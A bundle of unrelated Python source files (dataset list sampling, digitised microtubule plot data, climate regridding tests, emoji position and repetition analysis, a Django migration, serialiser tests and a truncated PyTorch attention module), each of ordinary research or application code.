""" Generate training source and target domain records """ import os import csv import random import argparse def write_csv(path, lines): with open(path, 'w') as f: csv_writer = csv.writer(f, delimiter='\t') for i, (p, l) in enumerate(lines): csv_writer.writerow([i, l, p]) def read_image_list(image_list): items = [] with open(image_list, 'r') as f: for item in f: p, l = item.split() items.append((p, l)) return items def sampling_images(items): if args.m == 0 and args.n > 0: # random shuffle rng = random.Random(args.seed) rng.shuffle(items) return items[: min(args.n, len(items))], items[min(args.n, len(items)):] elif args.m == 1 and args.n > 0: # balanced sampling rng = random.Random(args.seed) cls = {} for idx, (_, c) in enumerate(items): if c in cls: cls[c].append(idx) else: cls[c] = [idx] n_cls = args.n // len(cls) idx_selected = [] idx_unselected = [] # sampling for k, v in cls.items(): rng.shuffle(v) idx_selected.extend(v[: min(n_cls, len(v))]) idx_unselected.extend(v[min(n_cls, len(v)): ]) train_list = [items[i] for i in idx_selected] test_list = [items[i] for i in idx_unselected] rng.shuffle(train_list) rng.shuffle(test_list) return train_list, test_list else: rng = random.Random(args.seed) rng.shuffle(items) return items, [] def generate_list(): if not os.path.exists(args.out_dir): os.makedirs(args.out_dir) items = read_image_list(args.image_list) train_items, test_items = sampling_images(items) if len(train_items) > 0: write_csv(os.path.join(args.out_dir, '%s-%d.lst' % (args.prefix, args.n)), train_items) if len(test_items) > 0: write_csv(os.path.join(args.out_dir, '%s-%d.lst' % (args.prefix, len(test_items))), test_items) if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument('image_list', help='image list') parser.add_argument('prefix', help='prefix') parser.add_argument('--m', type=int, default=1, help='sampling method') parser.add_argument('--n', type=int, default=1200, help='sampling number') parser.add_argument('--seed', type=int, default=0, help='seed') parser.add_argument('--out-dir', type=str, default='datasets/VisDA17') args = parser.parse_args() generate_list()
python
# Copyright (c) 2021 Valerii Sukhorukov. All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # 1. Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # 2. Redistributions in binary form must reproduce the above copyright # notice, this list of conditions and the following disclaimer in the # documentation and/or other materials provided with the distribution. # 3. Neither the name of the copyright holder nor the # names of its contributors may be used to endorse or promote products # derived from this software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDER ''AS IS'' AND ANY # EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED # WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE # DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE # FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL # DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR # SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER # CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, # OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE # USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. # ----------------------------------------------------------------------------- """Functions extracting empitical length and curvature distributions. Source publication: Zhen Zhang Yukako Nishimura, and Pakorn Kanchanawonga 'Extracting microtubule networks from superresolution single-molecule localization microscopy data' MBoC, 2017. """ from collections import namedtuple from typing import Sequence Extent = namedtuple('Range', ['begin', 'end']) def curvature(density: bool): """Curvature data extracted from publication plots. """ pix = Extent(begin=[177, 900], end=[1195, 81]) val = Extent(begin=[0, 0], end=[1.5, 1]) # Blue: contro_pix = [0, 696, 251, 81, 109, 232, 458, 591, 685, 738, 797, 822, 832, 852, 865, 871, 874, 887, 880, 891, 895, 894, 897, 895, 895, 895, 895, 895, 899, 900, 899] # Red: ca_ras_pix = [0, 702, 228, 81, 151, 164, 330, 527, 616, 711, 770, 808, 817, 799, 820, 830, 867, 881, 876, 886, 888, 899, 897, 886, 899, 895, 895, 899, 899, 900, 899] return _process(pix, val, [contro_pix, ca_ras_pix], start=1, density=density) def length(density: bool) -> tuple[list, list[list]]: """Length data extracted from publication plots. """ pix = Extent(begin=[121, 873], end=[1000, 75]) val = Extent(begin=[0, 0], end=[20, 1]) # Green: contro_pix = [0, 0, 441, 75, 201, 339, 425, 477, 493, 567, 615, 604, 652, 656, 676, 702, 714, 720, 740, 759, 742, 788, 800, 788, 801, 809, 809, 815, 829, 813, 833, 822, 848, 832, 846, 833, 858, 859, 854, 854, 858, 854, 858, 858, 858, 857, 864, 856, 855, 858, 861, 860, 863, 863, 863, 873, 864, 868, 868, 870] # Red: ca_ras_pix = [0, 0, 453, 75, 256, 372, 388, 453, 460, 548, 589, 632, 620, 651, 612, 724, 718, 701, 738, 772, 749, 755, 758, 804, 786, 830, 786, 799, 814, 827, 811, 800, 833, 837, 816, 820, 833, 833, 854, 852, 829, 843, 847, 847, 847, 857, 855, 865, 868, 872, 872, 851, 868, 863, 862, 868, 872, 857, 873, 865] return _process(pix, val, [contro_pix, ca_ras_pix], start=2, density=density) def _process( pix: Extent, val: Extent, data: Sequence[Sequence], start: int = 0, density: bool = False, ) -> tuple[list, list[list]]: range_pix = [pix.end[0] - pix.begin[0], pix.begin[1] - pix.end[1]] range_val = [val.end[i] - val.begin[i] for i in range(2)] scale = [range_val[i] / range_pix[i] for i in range(2)] n = len(data[0]) bin_pix = range_pix[0] / n bin_val = bin_pix * scale[0] x = [i * bin_val for i in range(start, n)] res = [[(pix.begin[1] - v) * scale[1] for v in d[start:]] for d in data] if density: s = (sum(r) for r in res) res = ([r/ss/bin_val for r in rr] for rr, ss in zip(res, s)) return x, res def avg( xx: Sequence, yy: Sequence ) -> float: """Averages from frequency distribution. """ dx = xx[1] - xx[0] a = sum(yy) * dx yy = [y / a for y in yy] return sum([x * y for x, y in zip(xx, yy)]) * dx if __name__ == '__main__': as_density = True x_curv, (control_curv, ca_ras_curv) = curvature(as_density) control_curv_avg = avg(x_curv, control_curv) x_leng, (control_leng, ca_ras_leng) = length(as_density) control_leng_avg = avg(x_leng, control_leng)
python
import cdat_info import cdms2 import numpy import unittest import sys PLOT = False if PLOT: from matplotlib import pylab as pl from mpl_toolkits.basemap import Basemap as bm class TestTasRegrid(unittest.TestCase): """ All test interpolate to the same grid """ def setUp(self): self.clt = cdms2.open(cdat_info.get_sampledata_path() + '/clt.nc')('clt')[0, ...] self.tas = cdms2.open(cdat_info.get_sampledata_path() + \ '/tas_ecm_1979.nc')('tas')[0, ...] if PLOT: lllat = self.clt.getLatitude()[:].min() urlat = self.clt.getLatitude()[:].max() lllon = self.clt.getLongitude()[:].min() urlon = self.clt.getLongitude()[:].max() self.cmap = bm(llcrnrlat = lllat, llcrnrlon = lllon, urcrnrlat = urlat, urcrnrlon = urlon, resolution = 'i', projection = 'cyl') lllat = self.tas.getLatitude()[:].min() urlat = self.tas.getLatitude()[:].max() lllon = self.tas.getLongitude()[:].min() urlon = self.tas.getLongitude()[:].max() self.tmap = bm(llcrnrlat = lllat, llcrnrlon = lllon, urcrnrlat = urlat, urcrnrlon = urlon, resolution = 'i', projection = 'cyl') def test_test1(self): """ 2D """ tas = cdms2.open(cdat_info.get_sampledata_path() + \ '/tas_ccsr-95a_1979.01-1979.12.nc')('tas')[0, 0,...] tasInterp = tas.regrid( tas.getGrid() ) print numpy.all(tasInterp.mask) if not numpy.all(tasInterp.mask): n = reduce(lambda x,y: x*y, tasInterp.shape) diff = abs(numpy.sum(tas - tasInterp))/float(n) self.assertLess(diff, 3.e-5) def test_test2(self): """ 2D + time """ tas = cdms2.open(cdat_info.get_sampledata_path() + \ '/tas_ccsr-95a_1979.01-1979.12.nc')('tas')[:, 0,...] tasInterp = tas.regrid( tas.getGrid() ) if not numpy.all(tasInterp.mask): n = reduce(lambda x,y: x*y, tasInterp.shape) diff = abs(numpy.sum(tas - tasInterp))/float(n) self.assertLess(diff, 3.e-5) def test_test3(self): """ 2D + level """ tas = cdms2.open(cdat_info.get_sampledata_path() + \ '/tas_ccsr-95a_1979.01-1979.12.nc')('tas')[0, :,...] tasInterp = tas.regrid( tas.getGrid() ) if not numpy.all(tasInterp.mask): n = reduce(lambda x,y: x*y, tasInterp.shape) diff = abs(numpy.sum(tas - tasInterp))/float(n) self.assertLess(diff, 3.e-5) def test_test4(self): """ 2D + level + time """ tas = cdms2.open(cdat_info.get_sampledata_path() + \ '/tas_ccsr-95a_1979.01-1979.12.nc')('tas')[:, :,...] tasInterp = tas.regrid( tas.getGrid() ) if not numpy.all(tasInterp.mask): tasInterp[0,0,...] n = reduce(lambda x,y: x*y, tasInterp.shape) diff = abs(numpy.sum(tas - tasInterp))/float(n) self.assertLess(diff, 3.e-5) def Xtest_test5(self): tasInterp = self.tas.regrid(self.clt.getGrid()) cltInterp = self.clt.regrid(self.tas.getGrid()) tasIntCyc = self.tas.regrid(self.clt.getGrid(), mkCyclic = True) cltIntCyc = self.clt.regrid(self.tas.getGrid(), mkCyclic = True) if PLOT: fig = pl.figure(1) fig.add_subplot(2,2,1) self.cmap.pcolor(self.tas.getLongitude()[:], self.tas.getLatitude()[:], cltInterp, vmin = 0, vmax = 100) self.cmap.colorbar() self.cmap.drawcoastlines() pl.title("clt Interp") fig = pl.figure(1) fig.add_subplot(2,2,2) self.cmap.pcolor(self.tas.getLongitude()[:], self.tas.getLatitude()[:], cltIntCyc, vmin = 0, vmax = 100) self.cmap.colorbar() self.cmap.drawcoastlines() pl.title("clt Interp Cyclic") fig.add_subplot(2,2,3) self.tmap.pcolor(self.clt.getLongitude()[:], self.clt.getLatitude()[:], tasInterp, vmin = 250, vmax = 300) self.tmap.colorbar() self.tmap.drawcoastlines() pl.title("tas Interp") fig.add_subplot(2,2,4) self.tmap.pcolor(self.clt.getLongitude()[:], self.clt.getLatitude()[:], tasIntCyc, vmin = 250, vmax = 300) self.tmap.colorbar() self.tmap.drawcoastlines() pl.title("tas Interp Cyclic") if __name__ == '__main__': print "" # Spacer suite = unittest.TestLoader().loadTestsFromTestCase(TestTasRegrid) unittest.TextTestRunner(verbosity = 1).run(suite) if PLOT: pl.show()
python
#!/usr/bin/env python # EVAPOR Workflow written in Python 3.6 in April 2020 by [email protected] # This code will import text string, extract the emojis as list # report out the unique emojis and unique emoji attributes for the text # then for text analyze the structure of the content # and then delve into the emojis and report out the relative position, # and then report out on the emoji vector of attributes, position, order, repetition of emoji use within the text # text, emoji_list, unique emojis and attributes, relative position of emoji, # per span of emojis/attributes flipped or not, repetition within single, repetition across # dependencies import json import re # if re not on system do pip install re import regex import ast # included in this repo import extractEmojis import getEmojiAttributes #import identifyStructure # get the emoji spans as attributes def getAttributesForSpansList(list_of_lists_of_vals, attribute): attributes_to_choose_from = ['rownum', 'emoji', 'cldr short name', 'codepoint', 'status' , 'char_len', 'version', \ 'desc', 'person_animal_other', 'anthro_type','gender', 'skin_tone', 'sentiment_smileys_binary',\ 'shape_type', 'shape_color', 'direction','group', 'subgroup', 'grp_subgrp'] if type(list_of_lists_of_vals)==float or list_of_lists_of_vals == [] or list_of_lists_of_vals == "[]" or list_of_lists_of_vals == '': return [] elif type(list_of_lists_of_vals) != list: list_of_lists_of_vals = ast.literal_eval(list_of_lists_of_vals) if type(list_of_lists_of_vals)==list and type(list_of_lists_of_vals[0])==list: if attribute in attributes_to_choose_from: attribute_spans_list = [] for sublist in list_of_lists_of_vals: attribute_sublist = getEmojiAttributes.getListOfSingleAttributeValuesForEmojiList(sublist, attribute) attribute_spans_list.append(attribute_sublist) return attribute_spans_list else: return [] else: return [] # get the relative position ## ANALYZE EMOJI SPANS ## GET RELATIVE POSITION # sample text: RT @atmention: @person2 12 🗳🇦🇺😃 yes ll smiles #yes #happiness @my_day 🟠🍎http://www.happiness.wwwwww # GET RELATIVE POSITION content_type_of_interest = 'emoji' def getRelativePositionOfContentType(fullDocumentStructureWithContent, content_type_of_interest): # input: fullDocumentStructureWithContent = [('RT', 1, ['RT']), ('at_mention', 2, ['@atmention', '@person2']), ('text', 2, ['12', ' ']), ('emoji', 3, ['🗳', '🇦🇺', '😃']), ('text', 6, ['yes', ' ', 'll', ' ', 'smiles', ' ']), ('hashtag', 2, ['#yes', '#happiness']), ('at_mention', 1, ['@my_day']), ('emoji', 2, ['\U0001f7e0', '🍎']), ('url', 1, ['http://www.happiness.wwwwww'])] # code: emoji_positions = get_index_pos_list_relative(fullDocumentStructureWithContent, 'emoji') # output: ['middle', 'end'] # outputs are beginning, middle, end # these are relative but can use the strucuture list for more details # NOTES: can also put in 'at_mention' or 'url' etc to see where they are span_list = [] if content_type_of_interest not in ['RT','at_mention','emoji','url','text','punctuation']: return [] if type(fullDocumentStructureWithContent) != list: new_fullDocumentStructureWithContent = ast.literal_eval(fullDocumentStructureWithContent) if (len(new_fullDocumentStructureWithContent)>0) and (type(new_fullDocumentStructureWithContent[0])==tuple): span_list = new_fullDocumentStructureWithContent else: return [] else: span_list = fullDocumentStructureWithContent try: index_span_pos_list = [ i for i in range(len(span_list)) if span_list[i][0] == content_type_of_interest] pos_list = [] num_spans = len(span_list) structure_cnts = [0,0,0,0,0]# span counts relative_pos_list = [0,0,0,0,0] relative_pos_list_descrip = [] cnt_spans = 0 index_span_pos_list_relative = [[],[],[],[],[]] pos_list_w_values = [[],[],[],[],[]] pos_list_w_value_cnts = [[],[],[],[],[]] pos_list_w_total = [0,0,0,0,0] if 0 in index_span_pos_list: relative_pos_list_descrip.append('start') structure_cnts[0]=1 relative_pos_list[0]=1 pos_list_w_values[0]=[tuple(span_list[0][2])] pos_list_w_value_cnts[0] = [span_list[0][1]] pos_list_w_total[0] = span_list[0][1] index_span_pos_list_relative[0]= [0] if num_spans > 1: if len(span_list)-1 in index_span_pos_list: relative_pos_list_descrip.append('final') structure_cnts[4]=1 relative_pos_list[4]=1 pos_list_w_values[4]=[tuple(span_list[-1][2])] pos_list_w_value_cnts[4] = [span_list[-1][1]] pos_list_w_total[4] = span_list[-1][1] index_span_pos_list_relative[4]= [len(span_list)-1] if num_spans == 3: # middle = 1 if 1 in index_span_pos_list: relative_pos_list_descrip.append('middle') relative_pos_list[2]=1 structure_cnts[2] = 1# mid pos_list_w_values[2]=[tuple(span_list[1][2])] pos_list_w_value_cnts[2] = [span_list[1][1]] pos_list_w_total[2] = span_list[1][1] index_span_pos_list_relative[2]= [1] if num_spans == 4 : # 4 has no middle if 1 in index_span_pos_list: relative_pos_list_descrip.append('beginning') relative_pos_list[1]=1 structure_cnts[1] = 1# pos_list_w_values[1]=[tuple(span_list[1][2])] pos_list_w_value_cnts[1] = [span_list[1][1]] pos_list_w_total[1] = span_list[1][1] index_span_pos_list_relative[1]= [1] if 2 in index_span_pos_list: relative_pos_list_descrip.append('end') relative_pos_list[3]=1 structure_cnts[3] = 1# pos_list_w_values[3]=[tuple(span_list[2][2])] pos_list_w_value_cnts[3] = [span_list[2][1]] pos_list_w_total[3] = span_list[2][1] index_span_pos_list_relative[3]= [2] if num_spans == 5 :# if 5 if has a middle if a 3 if 1 in index_span_pos_list: relative_pos_list_descrip.append('beginning') relative_pos_list[1]=1 structure_cnts[1] = 1# pos_list_w_values[1]=[tuple(span_list[1][2])] pos_list_w_value_cnts[1] = [span_list[1][1]] pos_list_w_total[1] = span_list[1][1] index_span_pos_list_relative[1]= [1] if 2 in index_span_pos_list: relative_pos_list_descrip.append('middle') relative_pos_list[2]=1 structure_cnts[2] = 1# mid #print('middle small cnt = ', structure_cnts[2]) pos_list_w_values[2]=[tuple(span_list[2][2])] pos_list_w_value_cnts[2] = [span_list[2][1]] pos_list_w_total[2] = span_list[2][1] index_span_pos_list_relative[2]= [2] if 3 in index_span_pos_list: relative_pos_list_descrip.append('end') relative_pos_list[3]=1 structure_cnts[3] = 1# pos_list_w_values[3]=[tuple(span_list[3][2])] pos_list_w_value_cnts[3] = [span_list[3][1]] pos_list_w_total[3] = span_list[3][1] index_span_pos_list_relative[3]= [3] # if 5 or more then add in beggining or end and based on size of span list if num_spans > 5: third = int(num_spans/3) beginning_indices = [i for i in range(third)] end_indices = [num_spans - beginning_indices[v] for v in reversed(beginning_indices)] #middle_indices = [i for i in range(beginning_indices[-1]+1,end_indices[0])] middle_indices = [i for i in range(beginning_indices[-1]+1,end_indices[0]-1)] end_indices = [end_indices[0]-1] + end_indices # for handling even numbers def intersection_list(lst1, lst2): lst3 = [value for value in lst1 if value in lst2] return lst3 # indices w values of interest beg_indices_w_val_of_interest = intersection_list(index_span_pos_list,beginning_indices)# beg mid_indices_w_val_of_interest = intersection_list(index_span_pos_list,middle_indices)# mid end_indices_w_val_of_interest = intersection_list(index_span_pos_list,end_indices)# end # so no dupes with first and last if they exist if 0 in index_span_pos_list: beg_indices_w_val_of_interest = beg_indices_w_val_of_interest[1:] if len(span_list)-1 in index_span_pos_list: end_indices_w_val_of_interest = end_indices_w_val_of_interest[:-1] # append counts structure_cnts[1] = len(beg_indices_w_val_of_interest)# beg structure_cnts[2] = len(mid_indices_w_val_of_interest)# mid structure_cnts[3] = len(end_indices_w_val_of_interest)# end if structure_cnts[1]>0: relative_pos_list_descrip.append('beginning') relative_pos_list[1]=1 pos_list_w_values[1]=[tuple(span_list[i][2]) for i in beg_indices_w_val_of_interest] pos_list_w_value_cnts[1] = [span_list[i][1] for i in beg_indices_w_val_of_interest] pos_list_w_total[1] = sum([span_list[i][1] for i in beg_indices_w_val_of_interest]) index_span_pos_list_relative[1]= beg_indices_w_val_of_interest if structure_cnts[2]>0: relative_pos_list_descrip.append('middle') relative_pos_list[2]=1 pos_list_w_values[2]=[tuple(span_list[i][2]) for i in mid_indices_w_val_of_interest] pos_list_w_value_cnts[2] = [span_list[i][1] for i in mid_indices_w_val_of_interest] pos_list_w_total[2] = sum([span_list[i][1] for i in mid_indices_w_val_of_interest]) index_span_pos_list_relative[2]= mid_indices_w_val_of_interest if structure_cnts[3]>0: relative_pos_list_descrip.append('end') relative_pos_list[3]=1 pos_list_w_values[3]=[tuple(span_list[i][2]) for i in end_indices_w_val_of_interest] pos_list_w_value_cnts[3] = [span_list[i][1] for i in end_indices_w_val_of_interest] pos_list_w_total[3] = sum([span_list[i][1] for i in end_indices_w_val_of_interest]) index_span_pos_list_relative[3]= end_indices_w_val_of_interest cnt_spans = len(index_span_pos_list) #return [cnt_spans, index_span_pos_list, index_span_pos_list_relative,\ # relative_pos_list,relative_pos_list_descrip, structure_cnts,\ # pos_list_w_values, pos_list_w_value_cnts, pos_list_w_total] # move final to the end if 'final' in relative_pos_list_descrip: relative_pos_list_descrip.remove('final') relative_pos_list_descrip +=['final'] return relative_pos_list_descrip except: return [] # get the order # get the repetition ## ANALYZE REPETITION WITHIN SPAN # check for repetition within each span def labelRepetitionWithinSpans(list_of_vals_in_spans): # input: emojis_as_list_in_spans_list = [['💙️'],['💙️','💙️','💙️'],['😃']] # code: within_span_repetition_list = check_for_repetition_within_each_span_per_attribute(emojis_as_list_in_spans_list) # output: ['single_within','all_identical_within','single_within'] repetition_within_spans_status_list = [] if list_of_vals_in_spans == []: return repetition_within_spans_status_list for val_span_list in list_of_vals_in_spans: if len(val_span_list) == 1: repetition_within_spans_status_list.append('single_within') else: # more than one val val_set = set(val_span_list) if len(val_set) == 1: repetition_within_spans_status_list.append('all_identical_within') # amplification elif len(val_set) < len(val_span_list):# some repetition repetition_within_spans_status_list.append('some_identical_within') # list which are identical? else:# if len(val_set) = len(val_span_list) # no repetition all unique repetition_within_spans_status_list.append('no_repetition_within') return repetition_within_spans_status_list def getValuesRepeatedWithinSpans(list_of_lists_of_vals): # input: emojis_as_list_in_spans_list = [['💙️'],['💙️','💙️','💙️'],['😃']] # code: vals_repeated_within_span = getValuesRepeatedWithinSpans(emojis_as_list_in_spans_list) # value repeated, span number, number of times repeated # output: [('💙️',1,3)] if type(list_of_lists_of_vals)==float or list_of_lists_of_vals == [] or list_of_lists_of_vals == "[]" or list_of_lists_of_vals == '': return [] elif type(list_of_lists_of_vals) != list: list_of_lists_of_vals = ast.literal_eval(list_of_lists_of_vals) if type(list_of_lists_of_vals)==list and type(list_of_lists_of_vals[0])==list: list_w_vals_repeated_within = [] i=0 for span in list_of_lists_of_vals: if len(span)>1: uniques_in_span = list(set(span)) if len(uniques_in_span) != len(span): for uni in uniques_in_span: cnt = span.count(uni) if cnt >1: tup = (uni,i,span.count(uni)) list_w_vals_repeated_within.append(tup) i+=1 return list_w_vals_repeated_within else: return [] ## ANALYZE REPETITION ACROSS SPANS # function to get cnt of spans value found in def getCntSpansPerValue(list_of_lists_of_vals): # input: emojis_as_list_in_spans_list = [['💙️'],['💙️','💙️','💙️'],['😃']] # code: list_of_vals_w_cnts_of_span = get_cnt_of_lists_in_list_per_val(emojis_as_list_in_spans_list) # output: [('💙️',2),('😃',1)] if type(list_of_lists_of_vals)==float or list_of_lists_of_vals == [] or list_of_lists_of_vals == "[]" or list_of_lists_of_vals == '': return [] elif type(list_of_lists_of_vals) != list: list_of_lists_of_vals = ast.literal_eval(list_of_lists_of_vals) if type(list_of_lists_of_vals)==list and type(list_of_lists_of_vals[0])==list: list_of_val_cnt_tuples = [] long_list_on_uni_vals_per_list = [] if list_of_lists_of_vals == []: return list_of_val_cnt_tuples # make sure it is a list of list of uniques list_of_unique_vals_in_list = [sorted(list(set(list_of_vals))) for list_of_vals in list_of_lists_of_vals] # convert list of lists to long list for uni_vals in list_of_unique_vals_in_list: long_list_on_uni_vals_per_list += uni_vals # get unique emojis uni_vals_list = list(set(long_list_on_uni_vals_per_list)) for uni_val in uni_vals_list: if long_list_on_uni_vals_per_list.count(uni_val)>1: list_of_val_cnt_tuples.append((uni_val, long_list_on_uni_vals_per_list.count(uni_val))) # for consistency and comparison sorting list of cnts by val ascending then by cnt descending # sort the list of val cnts in acending order by emoji (first item in tuple) descending_sort_list_of_cnts_by_val = sorted(list_of_val_cnt_tuples, key = lambda x: x[0]) # sort the list of val cnts in descending order by cnt (second item in tuple) descending_sort_list_of_cnts = sorted(descending_sort_list_of_cnts_by_val, key = lambda x: x[1], reverse=True) return descending_sort_list_of_cnts else: return [] # STATUS OF REPETITION ACROSS SPANS # check if any spans are in common def getLabelForRepetitionAcrossSpans(list_of_lists_of_vals): # e.g. input: [['💙️', '🙏','😀','🔴'], ['💙️', '🙏'], ['💙️','🟢'], ['😀']] ==> output: 'no_repetition_of_list_of_vals' # input: list_of_emojis_in_spans = [['💙️', '🙏'], ['💙️', '🙏'], ['💙️'], ['😀']] # code: repetition_status_across_spans = check_repetition_of_list_vals_across_list_of_lists(list_of_emojis_in_spans) # output: 'some_repetition_of_list_vals' if type(list_of_lists_of_vals)==float or list_of_lists_of_vals == [] or list_of_lists_of_vals == "[]" or list_of_lists_of_vals == '': return [] elif type(list_of_lists_of_vals) != list: list_of_lists_of_vals = ast.literal_eval(list_of_lists_of_vals) if type(list_of_lists_of_vals)==list and type(list_of_lists_of_vals[0])==list: if list_of_lists_of_vals == []: return [] list_of_uni_val_lists_as_strs = [] for val_list in list_of_lists_of_vals: list_of_uni_val_lists_as_strs.append(str(val_list)) if len(list_of_lists_of_vals) == 1: return "single_list" elif len(list_of_lists_of_vals)>1 and len(set(list_of_uni_val_lists_as_strs))==1: return "repetition_across_spans" elif len(list_of_lists_of_vals)>1 and (len(list_of_lists_of_vals) == len(set(list_of_uni_val_lists_as_strs))): return "no_repetition_across_spans" elif len(list_of_lists_of_vals)>1 and len(set(list_of_uni_val_lists_as_strs))>1: return "some_repetition_across_spans" else: return "unknown" else: return "no_repetition_across_spans" # VALUES THAT ARE REPETITION ACROSS SPANS AND ORDER # get the spans that are in common with other span parts (repetition with same order) def getSpansInOtherSpansPlusCount(list_of_lists_of_vals): # input: list_of_emojis_in_spans = [['💙️', '🙏'], ['💙️', '🙏','🔴'], ['💙️'], ['😀']] # code: list_of_vals_in_common = get_list_of_vals_that_are_in_other_lists(list_of_emojis_in_spans) # output: [("'💙️'", 3), ("'💙️', '🙏'", 2)] if type(list_of_lists_of_vals)==float or list_of_lists_of_vals == [] or list_of_lists_of_vals == "[]" or list_of_lists_of_vals == '': return [] elif type(list_of_lists_of_vals) != list: list_of_lists_of_vals = ast.literal_eval(list_of_lists_of_vals) if type(list_of_lists_of_vals)==list and type(list_of_lists_of_vals[0])==list: list_of_lists_of_vals_as_strs = [str(val_list) for val_list in list_of_lists_of_vals] list_of_tuple_cnts_of_spans_in_other_spans = [] for i in range(len(list_of_lists_of_vals)): val_list_as_str_to_check = list_of_lists_of_vals_as_strs[i][1:-1] cnt_how_many_times_val_list_in_other_lists = 1 for z in range(len(list_of_lists_of_vals_as_strs)): if i == z: continue else: val_list_str = list_of_lists_of_vals_as_strs[z] if val_list_as_str_to_check in val_list_str: #print('true', val_list_as_str_to_check, val_list_str) cnt_how_many_times_val_list_in_other_lists += 1 list_of_tuple_cnts_of_spans_in_other_spans.append((val_list_as_str_to_check.replace("'","").replace(', ','').replace('"',''),cnt_how_many_times_val_list_in_other_lists)) uni_tup_cnts_list = list(set(list_of_tuple_cnts_of_spans_in_other_spans)) uni_tup_cnts_list_greater_than_1 = filter(lambda x: x[1] > 1, uni_tup_cnts_list) return sorted(uni_tup_cnts_list_greater_than_1, key = lambda x: x[1], reverse=True) else: return [] ## ANALYZE ORDER AND SYMMETRY ACROSS SPANS CHECK FOR IDENTICAL OR FLIPPED #import ast # check the spans that are identical uniques for flipped order def checkIdenticalOrFlippedSpans(list_of_lists_of_vals): # input: list_of_emojis_in_spans = [['💙️','🙏'], ['🙏','💙️'], ['💙️','🙏'], ['😀'],['😀']] # code: symmetry_check = check_for_symmetrical_patterns_across_lists(list_of_emojis_in_spans) # output: [('identical_spans', ([0, 2], ['💙️', '🙏'])), #('identical_spans', ([3, 4], ['😀'])), #('flipped_spans', ([0, 2], [1], [['💙️', '🙏'], ['🙏', '💙️']]))] # NOTES # the numbers indicate the index position of the span in the input list # for flipped, spans at [0,2] both have the value ['💙️', '🙏'] # and the span at position [1] contains the flipped version which is ['🙏', '💙️'] if type(list_of_lists_of_vals)==float or list_of_lists_of_vals == [] or list_of_lists_of_vals == "[]" or list_of_lists_of_vals == '': return [] elif type(list_of_lists_of_vals) != list: list_of_lists_of_vals = ast.literal_eval(list_of_lists_of_vals) if type(list_of_lists_of_vals)==list and type(list_of_lists_of_vals[0])==list: list_of_lists_of_vals_as_strs = [str(val_list) for val_list in list_of_lists_of_vals] uni_list_of_val_lists_as_strs = list(set(list_of_lists_of_vals_as_strs)) list_of_tuple_symmetry_spans = [] list_of_identical_spans = [] list_of_flipped_spans = [] for uni_val_list_str in uni_list_of_val_lists_as_strs: flipped_val_list_as_str_to_check = str(list(reversed(ast.literal_eval(uni_val_list_str)))) val_list_w_identicals = [] val_list_w_flipped = [] for z in range(len(list_of_lists_of_vals_as_strs)): val_list_str_to_compare = list_of_lists_of_vals_as_strs[z] if uni_val_list_str == val_list_str_to_compare: val_list_w_identicals.append(z) if uni_val_list_str.count(',')> 0: # if more than one val then check for flipped if flipped_val_list_as_str_to_check == val_list_str_to_compare: val_list_w_flipped.append(z) if len(val_list_w_identicals) > 1: list_of_tuple_symmetry_spans.append(('identical_spans', (val_list_w_identicals, list_of_lists_of_vals[val_list_w_identicals[0]]))) if len(val_list_w_flipped) > 0: if min(val_list_w_identicals) < min(val_list_w_flipped): list_of_tuple_symmetry_spans.append(('flipped_spans', (val_list_w_identicals, val_list_w_flipped, [list_of_lists_of_vals[val_list_w_identicals[0]],list_of_lists_of_vals[val_list_w_flipped[0]]]))) # for flipped spans if the second is smaller than first then drop if list_of_tuple_symmetry_spans == []: return [('no_identical_or_flipped_spans',)] return sorted(list_of_tuple_symmetry_spans, key = lambda x: x[0], reverse=True) else: return []
python
# Generated by Django 2.2.13 on 2021-08-09 08:41 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('projects', '0118_auto_20210809_1032'), ] operations = [ migrations.AlterField( model_name='reportcolumnpostfix', name='phases', field=models.ManyToManyField(related_name='report_columns', to='projects.CommonProjectPhase', verbose_name='phases'), ), ]
python
""" Serialiser tests """ from datetime import datetime import unittest from zorp.serialiser import Serialiser class TestSerialiser(unittest.TestCase): """ Test the serialiser """ def __test_encode_decode(self, expected): """ Test that encoding and decoding a value results in the original value """ actual = Serialiser.decode(Serialiser.encode(expected)) self.assertEqual(expected, actual) def test_string(self): """ Test encoding/decoding a string """ self.__test_encode_decode("This is a string") def test_datetime(self): """ Test encoding/decoding a datetime """ self.__test_encode_decode(datetime(1970, 1, 2)) def test_empty_list(self): """ Test encoding/decoding an empty list """ self.__test_encode_decode([]) def test_list(self): """ Test encoding/decoding a list """ self.__test_encode_decode([1, "two"]) def test_empty_dict(self): """ Test encoding/decoding an empty dict """ self.__test_encode_decode({}) def test_dict(self): """ Test encoding/decoding a list """ self.__test_encode_decode({"one": 1, "two": 2})
python
import torch import torch.utils.data as data_utils from torch.utils.data import DataLoader import torch.autograd as autograd import torch.nn as nn import torch.optim as optim import torch.nn.functional as F from torch.autograd import Variable from torch.nn.parameter import Parameter from allennlp.modules.attention import BilinearAttention, DotProductAttention from allennlp.nn.util import weighted_sum from allennlp.nn.util import masked_softmax from allennlp.modules import FeedForward import logging import numpy as np import joblib import os from layers.activation import get_activation class Attention(nn.Module): ''' Single-task attention ''' def __init__(self, input_dim, dropout=0.0, use_ffnn=True, query_dim=None, activation='tanh'): super(Attention, self).__init__() self.use_ffnn = use_ffnn if self.use_ffnn: self.ffnn = FeedForward( \ input_dim = input_dim, num_layers = 1, hidden_dims = query_dim, activations = get_activation(activation), dropout = 0) else: query_dim = input_dim # Dot product attention self.attention = 